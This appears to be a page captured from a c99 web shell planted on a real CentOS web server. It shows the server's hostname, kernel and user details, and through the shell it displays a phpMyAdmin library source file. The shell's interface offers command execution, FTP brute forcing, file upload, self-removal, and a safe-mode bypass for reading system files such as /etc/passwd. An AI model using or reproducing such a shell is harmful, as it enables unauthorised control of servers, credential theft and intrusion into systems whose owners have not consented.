!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/phpMyAdmin/libraries/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     tbl_properties_table_info.inc.php (3.45 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* $Id: tbl_properties_table_info.inc.php,v 1.3 2005/12/08 12:14:34 cybot_tm Exp $ */
// vim: expandtab sw=4 ts=4 sts=4:

/**
 * extracts table properties from create statement
 *
 * @TODO this should be recoded as functions,
 * to avoid messing with global variables
 */

/**
 * requirements
 */
require_once('./libraries/common.lib.php');

// Check parameters
PMA_checkParameters(array('db''table'));

/**
 * Defining global variables, in case this script is included by a function.
 * This is necessary because this script can be included by libraries/header.inc.php.
 */
global $showtable$tbl_is_view$tbl_type$show_comment$tbl_collation,
       
$table_info_num_rows$auto_increment;

/**
 * Gets table informations
 */
// Seems we need to do this in MySQL 5.0.2,
// otherwise error #1046, no database selected
PMA_DBI_select_db($GLOBALS['db']);

// The 'show table' statement works correct since 3.23.03
$table_info_result   PMA_DBI_query(
    
'SHOW TABLE STATUS LIKE \'' PMA_sqlAddslashes($GLOBALS['table'], true) . '\';',
    
nullPMA_DBI_QUERY_STORE);

// need this test because when we are creating a table, we get 0 rows
// from the SHOW TABLE query
// and we don't want to mess up the $tbl_type coming from the form

if ($table_info_result && PMA_DBI_num_rows($table_info_result) > 0) {
    
$showtable           PMA_DBI_fetch_assoc($table_info_result);
    
PMA_DBI_free_result($table_info_result);
    unset( 
$table_info_result );

    if (!isset(
$showtable['Type']) && isset($showtable['Engine'])) {
        
$showtable['Type'] =& $showtable['Engine'];
    }
    
// MySQL < 5.0.13 returns "view", >= 5.0.13 returns "VIEW"
    
if ( PMA_MYSQL_INT_VERSION >= 50000 && !isset($showtable['Type'])
      && isset(
$showtable['Comment'])
      && 
strtoupper($showtable['Comment']) == 'VIEW' ) {
        
$tbl_is_view     true;
        
$tbl_type        $GLOBALS['strView'];
        
$show_comment    null;
    } else {
        
$tbl_is_view     false;
        
$tbl_type        = isset($showtable['Type'])
            ? 
strtoupper($showtable['Type'])
            : 
'';
        
// a new comment could be coming from tbl_properties_operations.php
        // and we want to show it in the header
        
if (isset($submitcomment) && isset($comment)) {
            
$show_comment $comment;
        } else {
            
$show_comment    = isset($showtable['Comment'])
                ? 
$showtable['Comment']
                : 
'';
        }
    }
    
$tbl_collation       = empty($showtable['Collation'])
        ? 
''
        
$showtable['Collation'];

    if ( 
null === $showtable['Rows'] ) {
        
$showtable['Rows']   = PMA_countRecords$GLOBALS['db'],
            
$showtable['Name'], truetrue );
    }
    
$table_info_num_rows = isset($showtable['Rows']) ? $showtable['Rows'] : 0;
    
$auto_increment      = isset($showtable['Auto_increment'])
        ? 
$showtable['Auto_increment']
        : 
'';

    
$create_options      = isset($showtable['Create_options'])
        ? 
explode(' '$showtable['Create_options'])
        : array();

    
// export create options by its name as variables into gloabel namespace
    // f.e. pack_keys=1 becomes available as $pack_keys with value of '1'
    
foreach ( $create_options as $each_create_option ) {
        
$each_create_option explode('='$each_create_option);
        if ( isset( 
$each_create_option[1] ) ) {
            $
$each_create_option[0]    = $each_create_option[1];
        }
    }
    unset( 
$create_options$each_create_option );
// end if
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0069 ]--